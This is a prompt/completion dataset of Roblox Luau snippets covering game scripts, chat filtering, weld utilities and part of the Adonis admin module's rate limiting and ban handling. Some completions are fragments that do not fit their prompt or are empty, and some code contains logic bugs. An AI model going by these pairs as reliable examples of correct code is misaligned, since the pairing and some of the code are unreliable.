prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--- Activates the raycasts for the hitbox object.
--- The hitbox will automatically stop and restart if the hitbox was already casting.
-- @param optional number parameter to automatically turn off the hitbox after 'n' seconds
|
function Hitbox:HitStart(seconds: number?)
if self.HitboxActive then
self:HitStop()
end
if seconds then
self.HitboxStopTime = os.clock() + math.max(MINIMUM_SECONDS_SCHEDULER, seconds)
end
self.HitboxActive = true
end
|
--------- CONFIGURATION -----------
|
local detectionDistance = 40 -- slime will wander until a player comes within this distance
local wanderSpeed = 1 -- the walk speed at which the slime will wander as long as no player is within detection distance
local wanderDistance = 5 -- how far the slime can wander in any one direction at a time
local chaseSpeed = 12 -- the walk speed at which the slime will chase players
local damage = 0 -- how much damage will be done to a humanoid each time the slime touches one
local damageDebounceDelay = .5 -- how many seconds after dealing damage before damage can be dealt again
|
--[[Weld functions]]
|
local JS = game:GetService("JointsService")
local PGS_ON = workspace:PGSIsEnabled()
function MakeWeld(x,y,type,s)
if type==nil then type="Weld" end
local W=Instance.new(type,x)
W.Part0=x W.Part1=y
W.C0=x.CFrame:inverse()*x.CFrame
W.C1=y.CFrame:inverse()*x.CFrame
if type=="Motor" and s~=nil then
W.MaxVelocity=s
end
return W
end
function ModelWeld(a,b)
if a:IsA("BasePart") and
a.Parent.Name ~= ("Hood") then
MakeWeld(b,a,"Weld")
for i,v in pairs(a:GetChildren()) do
if v ~= nil and v:IsA("BasePart") then
ModelWeld(v,b)
end
end
elseif a:IsA("Model") then
for i,v in pairs(a:GetChildren()) do
ModelWeld(v,b)
end
end
end
function UnAnchor(a)
if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end
end
|
--[=[
Uses the constructor to attach a class or resource to the actual object
for the lifetime of the subscription of that object.
@param constructor T
@return (parent: Instance) -> Observable<T>
]=]
|
function Blend.Attached(constructor)
return function(parent)
return Observable.new(function(sub)
local maid = Maid.new()
local resource = constructor(parent)
if MaidTaskUtils.isValidTask(resource) then
maid:GiveTask(resource)
end
sub:Fire(resource)
return maid
end)
end;
end
|
----------------------------------
------------FUNCTIONS-------------
----------------------------------
|
function LetterToNote(key, shift)
local letterNoteMap = "1!2@34$5%6^78*9(0qQwWeErtTyYuiIoOpPasSdDfgGhHjJklLzZxcCvVbBnm"
local capitalNumberMap = ")!@#$%^&*("
local letter = string.char(key)
if shift then
if tonumber(letter) then
-- is a number
letter = string.sub(capitalNumberMap, tonumber(letter) + 1, tonumber(letter) + 1)
else
letter = string.upper(letter)
end
end
local note = string.find(letterNoteMap, letter, 1, true)
if note then
return note
end
end
function KeyDown(Object)
if TextBoxFocused then return end
local key = Object.KeyCode.Value
local shift = (InputService:IsKeyDown(303) or InputService:IsKeyDown(304)) == not ShiftLock
if (key >= 97 and key <= 122) or (key >= 48 and key <= 57) then
-- a letter was pressed
local note = LetterToNote(key, shift)
if note then PlayNoteClient(note) end
elseif key == 8 then
-- backspace was pressed
Deactivate()
elseif key == 32 then
-- space was pressed
ToggleSheets()
elseif key == 13 then
-- return was pressed
ToggleCaps()
end
end
function Input(Object)
local type = Object.UserInputType.Name
local state = Object.UserInputState.Name -- in case I ever add input types
if type == "Keyboard" then
if state == "Begin" then
if FocusLost then -- this is so when enter is pressed in a textbox, it doesn't toggle caps
FocusLost = false
return
end
KeyDown(Object)
end
end
end
function TextFocus()
TextBoxFocused = true
end
function TextUnfocus()
FocusLost = true
TextBoxFocused = false
end
|
-- Create a table to track players who have clicked
|
local playersWhoClicked = {}
local function onPlayerClick(player)
print(player.Name .. " clicked the object")
-- Perform any actions you want when a player clicks
playersWhoClicked[player.UserId] = true
end
partWithClickDetector.MouseButton1Down:Connect(onPlayerClick)
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Classes.Base.Scholar.Ignis.Value = true
end
|
-- Required services
|
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
|
--------END RIGHT DOOR 6--------
|
end
wait(0.1)
if game.Workspace.DoorFlashing.Value == true then
|
--- Creates a new spring
-- @param initial A number or Vector3 (anything with * number and addition/subtraction defined)
|
function Spring.new(initial)
local target = initial or 0
return setmetatable({
_time0 = tick();
_position0 = target;
_velocity0 = 0*target;
_target = target;
_damper = 1;
_speed = 1;
}, Spring)
end
|
--Let the world load before starting
|
wait(1)
local function Render()
wait(0.1)
ViewPort:ClearAllChildren()
--Render the character
local Char = instance("Model")
Char.Name = ""
Char.Parent = ViewPort
RenderHumanoid(Character,Char)
end
|
--API
--RainAPI:StartRain()
--RainAPI:StopRain()
--RainAPI:AddOverrideRegion(X1,Z1,X2,Z2,OverrideY)
--RainAPI:RemoveOverrideRegion(Id)
--RainAPI:SetWindSpeed(X,Z)
--RainAPI:GetWindSpeed()
--RainAPI:SetRainGroupsPerSecond(NewRainGroupsPerSecond)
--RainAPI:GetRainGroupsPerSecond()
| |
--Rescripted by Luckymaxer
|
Star = script.Parent
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Creator = Star:FindFirstChild("creator")
HitSound = Star:FindFirstChild("Hit")
Stuck = false
Damage = 23
function IsHuntedVictim(character)
return character:FindFirstChild("NinjaMaskOfShadows")
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Stick(Object, Hit)
local Weld = Instance.new("Weld")
Weld.Part0 = Object
Weld.Part1 = Hit
local HitCFrame = CFrame.new(Object.Position)
Weld.C0 = Object.CFrame:inverse() * HitCFrame
Weld.C1 = Hit.CFrame:inverse() * HitCFrame
Weld.Parent = Object
end
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function Touched(Hit)
if not Hit or not Hit.Parent or Stuck then
return
end
local character = Hit.Parent
if character:IsA("Hat") or character:IsA("Tool") then
character = character.Parent
end
local CreatorPlayer
if Creator and Creator.Value and Creator.Value:IsA("Player") and Creator.Value.Character then
CreatorPlayer = Creator.Value
end
if CreatorPlayer and CreatorPlayer.Character == character then
return
end
local player = Players:GetPlayerFromCharacter(character)
if CreatorPlayer and player and IsTeamMate(CreatorPlayer, player) then
return
end
Stuck = true
Stick(Star, Hit)
if HitSound then
HitSound:Play()
end
local humanoid = character:FindFirstChild("Humanoid")
if humanoid and humanoid.Health > 0 then
UntagHumanoid(humanoid)
if CreatorPlayer then
TagHumanoid(humanoid, CreatorPlayer)
end
humanoid:TakeDamage(Damage * ((IsHuntedVictim(character) and 2) or 1))
end
end
Star.Touched:connect(Touched)
|
--Create attachments and contraints for function
|
local parts = getParts(boat)
local centerOfMass, totalMass = GetCenterOfMass(parts)
local center = Instance.new("Part")
center.Anchored = true
center.Name = "CenterPart"
center.CanCollide = false
center.Archivable = false
center.Size = Vector3.new()
center.Transparency = 1
center.CFrame = GetRotationInXZPlane(seat.CFrame - seat.CFrame.p) + centerOfMass
center.Parent = boat
local attachment = Instance.new("Attachment")
attachment.CFrame = center.CFrame
attachment.Position = Vector3.new()
attachment.Parent = center
local vectorForce = Instance.new("VectorForce")
vectorForce.ApplyAtCenterOfMass = true
vectorForce.Attachment0 = attachment
vectorForce.Force = Vector3.new()
vectorForce.RelativeTo = Enum.ActuatorRelativeTo.Attachment0
vectorForce.Parent = center
local torque = Instance.new("Torque")
torque.RelativeTo = Enum.ActuatorRelativeTo.Attachment0
torque.Attachment0 = attachment
torque.Torque = Vector3.new()
torque.Parent = center
totalMass = totalMass + center:GetMass()
|
----------------------------------------------------------------------------------------------------
-----------------=[ General ]=----------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
TeamKill = true --- Enable TeamKill?
,TeamDamageMultiplier = 1 --- Between 0-1 | This will make you cause less damage if you hit your teammate
,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces...
,AntiBunnyHop = true --- Enable anti bunny hop system?
,JumpCoolDown = 0.1 --- Seconds before you can jump again
,JumpPower = 50 --- Jump power, default is 50
,RealisticLaser = true --- True = Laser line is invisible
,ReplicatedLaser = true
,ReplicatedFlashlight = true
,EnableRagdoll = false --- Enable ragdoll death?
,TeamTags = false --- Aaaaaaa
,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD
|
--------- Slim AI Script (don't edit unless you know what you're doing) -----------
|
local slime = script.Parent
local walkAnimation = slime.Humanoid:LoadAnimation(slime.Humanoid.Animation)
walkAnimation:Play()
slime.Humanoid.Died:Connect(function()
slime:Destroy()
-- TODO: Add fancier death or give rewards
end)
local hasDamagedRecently = false
local function damageIfHumanoidDebounced(part)
if not hasDamagedRecently then
local humanoid = part.Parent:FindFirstChild("Humanoid")
if humanoid then
humanoid.Health -= damage
hasDamagedRecently = true
wait(damageDebounceDelay)
hasDamagedRecently = false
end
end
end
for _,part in pairs(slime:GetChildren()) do
if part:IsA("BasePart") and part.Name ~= "HitBox" then
part.Touched:Connect(damageIfHumanoidDebounced)
end
end
local function getClosestPlayer(position)
local closestPlayer = false
local closestDistance = 999999999
for _,player in pairs(game.Players:GetChildren()) do
local playerPosition = game.Workspace:WaitForChild(player.Name).HumanoidRootPart.Position
local dist = (position - playerPosition).magnitude
if(dist < closestDistance) then
closestDistance = dist
closestPlayer = game.Workspace:WaitForChild(player.Name)
end
end
return closestPlayer
end
local isWandering = false
while true do -- main AI loop
wait(.1)
local player = getClosestPlayer(slime.Head.Position)
if player then
local distance = (player.PrimaryPart.Position - slime.HumanoidRootPart.Position).magnitude
if distance < detectionDistance then
isWandering = false
slime.Humanoid.WalkSpeed = chaseSpeed
slime.Humanoid:MoveTo(player.PrimaryPart.Position)
else
if not isWandering then
isWandering = true
slime.Humanoid.WalkSpeed = wanderSpeed
slime.Humanoid:MoveTo(slime.HumanoidRootPart.Position + Vector3.new(math.random(-wanderDistance, wanderDistance), 0, math.random(-wanderDistance, wanderDistance)))
slime.Humanoid.MoveToFinished:Connect(function()
isWandering = false
end)
end
end
end
end
|
--Func
|
local function condensePath(paths)
local newWaypoints = {
paths[1].Position
}
local lastUnit = (paths[2].Position - paths[1].Position).Unit
if #paths > 2 then
for i = 2, #paths - 1 do
local thisUnit = (paths[i].Position - newWaypoints[#newWaypoints]).Unit
if not thisUnit ~= lastUnit then
table.insert(newWaypoints, paths[i].Position)
lastUnit = thisUnit
end
end
end
return newWaypoints
end
return function(pointA, pointB, refreshPath)
if refreshPath then
path = PathfindingService:CreatePath()
end
path:ComputeAsync(pointA, pointB)
if path.Status == Enum.PathStatus.Success then
local waypoints = condensePath(path:GetWaypoints())
return waypoints
else
return false
end
end
|
--[=[
Creates a ScriptSignal object.
@return ScriptSignal
@ignore
]=]
|
function ScriptSignal.new(): Class
return setmetatable({
_active = true,
_head = nil
}, ScriptSignal)
end
|
--!strict
|
local Players = game:GetService("Players")
local function GetPlayerFromInstance(instance: Instance, aliveOnly: boolean?): Player?
for _, player: Player in ipairs(Players:GetPlayers()) do
local character = player.Character::Model
if not character or not character.Parent then
continue
end
if aliveOnly == true then
local humanoid = character:FindFirstChildOfClass("Humanoid")::Humanoid
if not humanoid or humanoid.Health <= 0 or humanoid:GetState() == Enum.HumanoidStateType.Dead then
continue
end
end
if instance:IsDescendantOf(character) then
return player
end
end
return nil
end
return GetPlayerFromInstance
|
-- Initialize the tool
|
local WeldTool = {
Name = 'Weld Tool';
Color = BrickColor.new 'Really black';
};
|
--[[
Create a TestSession related to the given TestPlan.
The resulting TestResults object will be linked to this TestPlan.
]]
|
function TestSession.new(plan)
local self = {
results = TestResults.new(plan),
nodeStack = {},
contextStack = {},
expectationContextStack = {},
hasFocusNodes = false
}
setmetatable(self, TestSession)
return self
end
|
-- car.DriveSeat.CC.Changed:connect(function()
-- if car.DriveSeat.CC.Value then
-- script.Parent.Values.CCS.Value = car.DriveSeat.CCS.Value
-- end
-- end)
|
--15 c/s
while wait(.0667) do
--Automatic Transmission
if _TMode.Value == "Auto" then Auto() end
--Flip
if _Tune.AutoFlip then Flip() end
end
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(1013)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1013)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(1013)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(1013)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(1013)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(1013)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(1013)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(1023)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(1023)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(1023)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(1023)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(1023)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(1023)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(1023)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.Lighting.flashcurrent.Value = "12"
|
--///////////////// Internal-Use Methods
--//////////////////////////////////////
|
function methods:InternalDestroy()
for i, channel in pairs(self.Channels) do
channel:InternalRemoveSpeaker(self)
end
self.eDestroyed:Fire()
self.eDestroyed:Destroy()
self.eSaidMessage:Destroy()
self.eReceivedMessage:Destroy()
self.eMessageDoneFiltering:Destroy()
self.eReceivedSystemMessage:Destroy()
self.eChannelJoined:Destroy()
self.eChannelLeft:Destroy()
self.eMuted:Destroy()
self.eUnmuted:Destroy()
self.eExtraDataUpdated:Destroy()
self.eMainChannelSet:Destroy()
self.eChannelNameColorUpdated:Destroy()
end
function methods:InternalAssignPlayerObject(playerObj)
self.PlayerObj = playerObj
end
function methods:InternalSendMessage(messageObj, channelName)
local success, err = pcall(function()
self.eReceivedMessage:Fire(messageObj, channelName)
end)
if not success and err then
print("Error sending internal message: " ..err)
end
end
function methods:InternalSendFilteredMessage(messageObj, channelName)
local success, err = pcall(function()
self.eMessageDoneFiltering:Fire(messageObj, channelName)
end)
if not success and err then
print("Error sending internal filtered message: " ..err)
end
end
function methods:InternalSendSystemMessage(messageObj, channelName)
local success, err = pcall(function()
self.eReceivedSystemMessage:Fire(messageObj, channelName)
end)
if not success and err then
print("Error sending internal system message: " ..err)
end
end
function methods:UpdateChannelNameColor(channelName, channelNameColor)
self.eChannelNameColorUpdated:Fire(channelName, channelNameColor)
end
|
--- Add a line to the command bar
|
function Window:AddLine(text, options)
options = options or {}
text = tostring(text)
if typeof(options) == "Color3" then
options = { Color = options }
end
if #text == 0 then
Window:UpdateWindowHeight()
return
end
local str = self.Cmdr.Util.EmulateTabstops(text or "nil", 8)
local line = Line:Clone()
line.Text = str
line.TextColor3 = options.Color or line.TextColor3
line.RichText = options.RichText or false
line.Parent = Gui
end
|
--[=[
Explicitely deletes data at the key
@param name string
]=]
|
function DataStoreStage:Delete(name)
if self._takenKeys[name] then
error(("[DataStoreStage] - Already have a writer for %q"):format(name))
end
self:_doStore(name, DataStoreDeleteToken)
end
|
--[[
Create a new expectation
]]
|
function Expectation.new(value)
local self = {
value = value,
successCondition = true,
condition = false,
matchers = {},
_boundMatchers = {},
}
setmetatable(self, Expectation)
self.a = bindSelf(self, self.a)
self.an = self.a
self.ok = bindSelf(self, self.ok)
self.equal = bindSelf(self, self.equal)
self.throw = bindSelf(self, self.throw)
self.near = bindSelf(self, self.near)
return self
end
function Expectation.checkMatcherNameCollisions(name)
if SELF_KEYS[name] or NEGATION_KEYS[name] or Expectation[name] then
return false
end
return true
end
function Expectation:extend(matchers)
self.matchers = matchers or {}
for name, implementation in pairs(self.matchers) do
self._boundMatchers[name] = bindSelf(self, function(_self, ...)
local result = implementation(self.value, ...)
local pass = result.pass == self.successCondition
assertLevel(pass, result.message, 3)
self:_resetModifiers()
return self
end)
end
return self
end
function Expectation.__index(self, key)
-- Keys that don't do anything except improve readability
if SELF_KEYS[key] then
return self
end
-- Invert your assertion
if NEGATION_KEYS[key] then
local newExpectation = Expectation.new(self.value):extend(self.matchers)
newExpectation.successCondition = not self.successCondition
return newExpectation
end
if self._boundMatchers[key] then
return self._boundMatchers[key]
end
-- Fall back to methods provided by Expectation
return Expectation[key]
end
|
-- Issue with play solo? (F6)
|
while not UserInputService.KeyboardEnabled and not UserInputService.TouchEnabled and not UserInputService.GamepadEnabled do
task.wait()
end
|
--///////////////// Internal-Use Methods
--//////////////////////////////////////
--DO NOT REMOVE THIS. Chat must be filtered or your game will face
--moderation.
|
function methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG
if (RunService:IsServer() and not RunService:IsStudio()) then
local fromSpeaker = self:GetSpeaker(speakerName)
local toSpeaker = toSpeakerName and self:GetSpeaker(toSpeakerName)
if fromSpeaker == nil then
return nil
end
local fromPlayerObj = fromSpeaker:GetPlayer()
local toPlayerObj = toSpeaker and toSpeaker:GetPlayer()
if fromPlayerObj == nil then
return message
end
local filterStartTime = tick()
local filterRetries = 0
while true do
local success, message = pcall(function()
if toPlayerObj then
return Chat:FilterStringAsync(message, fromPlayerObj, toPlayerObj)
else
return Chat:FilterStringForBroadcast(message, fromPlayerObj)
end
end)
if success then
return message
else
warn("Error filtering message:", message)
end
filterRetries = filterRetries + 1
if filterRetries > MAX_FILTER_RETRIES or (tick() - filterStartTime) > MAX_FILTER_DURATION then
self:InternalNotifyFilterIssue()
return nil
end
local backoffInterval = FILTER_BACKOFF_INTERVALS[math.min(#FILTER_BACKOFF_INTERVALS, filterRetries)]
-- backoffWait = backoffInterval +/- (0 -> backoffInterval)
local backoffWait = backoffInterval + ((math.random()*2 - 1) * backoffInterval)
wait(backoffWait)
end
else
--// Simulate filtering latency.
--// There is only latency the first time the message is filtered, all following calls will be instant.
if not StudioMessageFilteredCache[message] then
StudioMessageFilteredCache[message] = true
wait()
end
return message
end
return nil
end
|
--// Processing
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server
local service = Vargs.Service
local Commands, Decrypt, Encrypt, AddLog, TrackTask, Pcall
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings, Defaults
local logError = env.logError
local Routine = env.Routine
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Settings = server.Settings;
Defaults = server.Defaults;
logError = logError or env.logError;
Routine = Routine or env.Routine;
Commands = Remote.Commands
Decrypt = Remote.Decrypt
Encrypt = Remote.Encrypt
AddLog = Logs.AddLog
TrackTask = service.TrackTask
Pcall = server.Pcall
--// NetworkServer Events
if service.NetworkServer then
service.RbxEvent(service.NetworkServer.ChildAdded, server.Process.NetworkAdded)
service.RbxEvent(service.NetworkServer.DescendantRemoving, server.Process.NetworkRemoved)
end
--// Necessary checks to prevent first time users from bypassing bans.
service.Events.DataStoreAdd_Banned:Connect(function(data: table|string)
local userId = if type(data) == "string" then tonumber(string.match(data, ":(%d+)$"))
elseif type(data) == "table" then data.UserId
else nil
local plr = userId and service.Players:GetPlayerByUserId(userId)
if plr then
local reason = if type(data) == "table" and data.Reason then data.Reason
else "No reason provided"
pcall(plr.Kick, plr, string.format("%s | Reason: %s", Variables.BanMessage, reason))
AddLog("Script", {
Text = `Applied ban on {plr.Name}`;
Desc = `Ban reason: {reason}`;
})
end
end)
service.Events["DataStoreAdd_Core.Variables.TimeBans"]:Connect(function(data)
local userId = if type(data) == "string" then tonumber(string.match(data, ":(%d+)$"))
elseif type(data) == "table" then data.UserId
else nil
local plr = userId and service.Players:GetPlayerByUserId(userId)
if plr then
local reason = if type(data) == "table" and data.Reason then data.Reason
else "No reason provided"
pcall(
plr.Kick,
plr,
string.format(
"\n Reason: %s\n Banned until %s",
(reason or "(No reason provided."),
service.FormatTime(data.EndTime, { WithWrittenDate = true })
)
)
AddLog("Script", {
Text = `Applied TimeBan on {plr.Name}`;
Desc = `Ban reason: {reason}`;
})
end
end)
Process.Init = nil
AddLog("Script", "Processing Module Initialized")
end;
local function RunAfterPlugins(data)
local existingPlayers = service.Players:GetPlayers()
--// Events
service.RbxEvent(service.Players.PlayerAdded, service.EventTask("PlayerAdded", Process.PlayerAdded))
service.RbxEvent(service.Players.PlayerRemoving, service.EventTask("PlayerRemoving", Process.PlayerRemoving))
--// Load client onto existing players
if existingPlayers then
for i, p in existingPlayers do
Core.LoadExistingPlayer(p)
end
end
service.TrackTask("Thread: ChatCharacterLimit", function()
local ChatModules = service.Chat:WaitForChild("ClientChatModules", 5)
if ChatModules then
local ChatSettings = ChatModules:WaitForChild("ChatSettings", 5)
if ChatSettings then
local success, ChatSettingsModule = pcall(function()
return require(ChatSettings)
end)
if success then
local NewChatLimit = ChatSettingsModule.MaximumMessageLength
if NewChatLimit and type(NewChatLimit) == "number" then
Process.MaxChatCharacterLimit = NewChatLimit
AddLog("Script", `Chat Character Limit automatically set to {NewChatLimit}`)
end
else
AddLog("Script", "Failed to automatically get ChatSettings Character Limit, ignore if you use a custom chat system")
end
end
end
end)
Process.RunAfterPlugins = nil
AddLog("Script", "Process Module RunAfterPlugins Finished")
end
local function newRateLimit(rateLimit: table, rateKey: string|number|userdata|any)
-- Ratelimit: table
-- Ratekey: string or number
local rateData = (type(rateLimit)=="table" and rateLimit) or nil
if not rateData then
error("Rate data doesn't exist (unable to check)")
else
-- RATELIMIT TABLE
--[[
Table:
{
Rates = 100; -- Max requests per traffic
Reset = 1; -- Interval seconds since the cache last updated to reset
ThrottleEnabled = false/true; -- Whether throttle can be enabled
ThrottleReset = 10; -- Interval seconds since the cache last throttled to reset
ThrottleMax = 10; -- Max interval count of throttles
Caches = {}; -- DO NOT ADD THIS. IT WILL AUTOMATICALLY BE CREATED ONCE RATELIMIT TABLE IS CHECKING-
--... FOR RATE PASS AND THROTTLE CHECK.
}
]]
-- RATECACHE TABLE
--[[
Table:
{
Rate = 0;
Throttle = 0; -- Interval seconds since the cache last updated to reset
LastUpdated = 0; -- Last checked for rate limit
LastThrottled = nil or 0; -- Last checked for throttle (only changes if rate limit failed)
}
]]
local maxRate: number = math.abs(rateData.Rates) -- Max requests per traffic
local resetInterval: number = math.floor(math.abs(rateData.Reset or 1)) -- Interval seconds since the cache last updated to reset
local rateExceeded: boolean? = rateLimit.Exceeded or rateLimit.exceeded
local ratePassed: boolean? = rateLimit.Passed or rateLimit.passed
local canThrottle: boolean? = rateLimit.ThrottleEnabled
local throttleReset: number? = rateLimit.ThrottleReset
local throttleMax: number? = math.floor(math.abs(rateData.ThrottleMax or 1))
-- Ensure minimum requirement is followed
maxRate = (maxRate>1 and maxRate) or 1
-- Max rate must have at least one rate else anything below 1 returns false for all rate checks
local cacheLib = rateData.Caches
if not cacheLib then
cacheLib = {}
rateData.Caches = cacheLib
end
-- Check cache
local rateCache: table = cacheLib[rateKey]
local throttleCache
if not rateCache then
rateCache = {
Rate = 0;
Throttle = 0;
LastUpdated = tick();
LastThrottled = nil;
}
cacheLib[rateKey] = rateCache
end
local nowOs = tick()
if nowOs-rateCache.LastUpdated > resetInterval then
rateCache.LastUpdated = nowOs
rateCache.Rate = 0
end
local ratePass: boolean = rateCache.Rate+1<=maxRate
local didThrottle: boolean = canThrottle and rateCache.Throttle+1<=throttleMax
local throttleResetOs: number? = rateCache.ThrottleReset
local canResetThrottle: boolean = throttleResetOs and nowOs-throttleResetOs <= 0
rateCache.Rate += 1
-- Check can throttle and whether throttle could be reset
if canThrottle and canResetThrottle then
rateCache.Throttle = 0
end
-- If rate failed and can also throttle, count tick
if canThrottle and (not ratePass and didThrottle) then
rateCache.Throttle += 1
rateCache.LastThrottled = nowOs
-- Check whether cache time expired and replace it with a new one or set a new one
if not throttleResetOs or canResetThrottle then
rateCache.ThrottleReset = nowOs
end
elseif canThrottle and ratePass then
rateCache.Throttle = 0
end
if rateExceeded and not ratePass then
rateExceeded:fire(rateKey, rateCache.Rate, maxRate)
end
if ratePassed and ratePass then
ratePassed:fire(rateKey, rateCache.Rate, maxRate)
end
return ratePass, didThrottle, canThrottle, rateCache.Rate, maxRate, throttleResetOs
end
end
local RateLimiter = {
Remote = {
Rates = 120;
Reset = 60;
};
Command = {
Rates = 20;
Reset = 40;
};
Chat = {
Rates = 10;
Reset = 1;
};
CustomChat = {
Rates = 10;
Reset = 1;
};
RateLog = {
Rates = 10;
Reset = 2;
};
}
local unWrap = service.unWrap
local function RateLimit(p, typ)
local isPlayer = type(p)=="userdata" and p:IsA"Player"
if isPlayer then
local rateData = RateLimiter[typ]
assert(rateData, `No rate limit data available for the given type {typ}`)
local ratePass, didThrottle, canThrottle, curRate, maxRate = newRateLimit(rateData, p.UserId)
return ratePass, didThrottle, canThrottle, curRate, maxRate
else
return true
end
end
server.Process = {
Init = Init;
RunAfterPlugins = RunAfterPlugins;
RateLimit = RateLimit;
newRateLimit = newRateLimit;
MsgStringLimit = 500; --// Max message string length to prevent long length chat spam server crashing (chat & command bar); Anything over will be truncated;
MaxChatCharacterLimit = 250; --// Roblox chat character limit; The actual limit of the Roblox chat's textbox is 200 characters; I'm paranoid so I added 50 characters; Users should not be able to send a message larger than that;
RateLimits = {
Remote = 0.01;
Command = 0.1;
Chat = 0.1;
CustomChat = 0.1;
RateLog = 10;
};
Remote = function(p, cliData, com, ...)
local key = tostring(p.UserId)
local keys = Remote.Clients[key]
if p and p:IsA("Player") then
if Anti.KickedPlayers[p] then
p:Kick(":: Adonis :: Communication following disconnect.")
elseif not com or type(com) ~= "string" or #com > 50 or cliData == "BadMemes" or com == "BadMemes" then
Anti.Detected(p, "Kick", (tostring(com) ~= "BadMemes" and tostring(com)) or tostring(select(1, ...)))
elseif cliData and type(cliData) ~= "table" then
Anti.Detected(p, "Kick", "Invalid Client Data (r10002)")
--elseif cliData and keys and cliData.Module ~= keys.Module then
-- Anti.Detected(p, "Kick", "Invalid Client Module (r10006)")
else
local args = {...}
local rateLimitCheck, didThrottleRL, canThrottleRL, curRemoteRate = RateLimit(p, "Remote")
if keys then
keys.LastUpdate = os.time()
keys.Received += 1
if type(com) == "string" then
if com == `{keys.Special}GET_KEY` then
if keys.LoadingStatus == "WAITING_FOR_KEY" then
Remote.Fire(p, `{keys.Special}GIVE_KEY`, keys.Key)
keys.LoadingStatus = "LOADING"
keys.RemoteReady = true
AddLog("Script", string.format("%s requested client keys", p.Name))
--else
--Anti.Detected(p, "kick","Communication Key Error (r10003)")
end
AddLog("RemoteFires", {
Text = `{p.Name} requested key from server`,
Desc = "Player requested key from server",
Player = p;
})
elseif rateLimitCheck and string.len(com) <= Remote.MaxLen then
local comString = Decrypt(com, keys.Key, keys.Cache)
local command = (cliData.Mode == "Get" and Remote.Returnables[comString]) or Remote.Commands[comString]
AddLog("RemoteFires", {
Text = string.format("%s fired %s; Arg1: %s", tostring(p), comString, tostring(args[1]));
Desc = string.format("Player fired remote command %s; %s", comString, Functions.ArgsToString(args));
Player = p;
})
if command then
local rets = {TrackTask(`Remote: {p.Name}: {comString}`, command, p, args)}
if not rets[1] then
logError(p, `{comString}: {rets[2]}`)
else
return {unpack(rets, 2)}
end
else
Anti.Detected(p, "Kick", "Invalid Remote Data (r10004)")
end
elseif rateLimitCheck and RateLimit(p, "RateLog") then
Anti.Detected(p, "Log", string.format("Firing RemoteEvent too quickly (>Rate: %s/sec)", curRemoteRate));
warn(string.format("%s is firing Adonis's RemoteEvent too quickly (>Rate: %s/sec)", p.Name, curRemoteRate));
end
else
Anti.Detected(p, "Log", "Out of Sync (r10005)")
end
end
end
end
end;
Command = function(p, msg, opts, noYield)
opts = opts or {}
--[[if Admin.IsBlacklisted(p) then
return false
end]]
if #msg > Process.MsgStringLimit and type(p) == "userdata" and p:IsA("Player") and not Admin.CheckAdmin(p) then
msg = string.sub(msg, 1, Process.MsgStringLimit)
end
msg = Functions.Trim(msg)
if string.match(msg, Settings.BatchKey) then
for cmd in string.gmatch(msg,`[^{Settings.BatchKey}]+`) do
cmd = Functions.Trim(cmd)
local waiter = `{Settings.PlayerPrefix}wait`
if string.sub(string.lower(cmd), 1, #waiter) == waiter then
local num = tonumber(string.sub(cmd, #waiter + 1))
if num then
task.wait(tonumber(num))
end
else
Process.Command(p, cmd, opts, false)
end
end
else
local pData = opts.PlayerData or (p and Core.GetPlayer(p))
msg = (pData and Admin.AliasFormat(pData.Aliases, msg)) or msg
if string.match(msg, Settings.BatchKey) then
return Process.Command(p, msg, opts, false)
end
local index, command, matched = Admin.GetCommand(msg)
if not command then
if opts.Check then
Remote.MakeGui(p, "Output", {
Title = "Output";
Message = if Settings.SilentCommandDenials
then string.format("'%s' is either not a valid command, or you do not have permission to run it.", msg)
else string.format("'%s' is not a valid command.", msg);
})
end
return
end
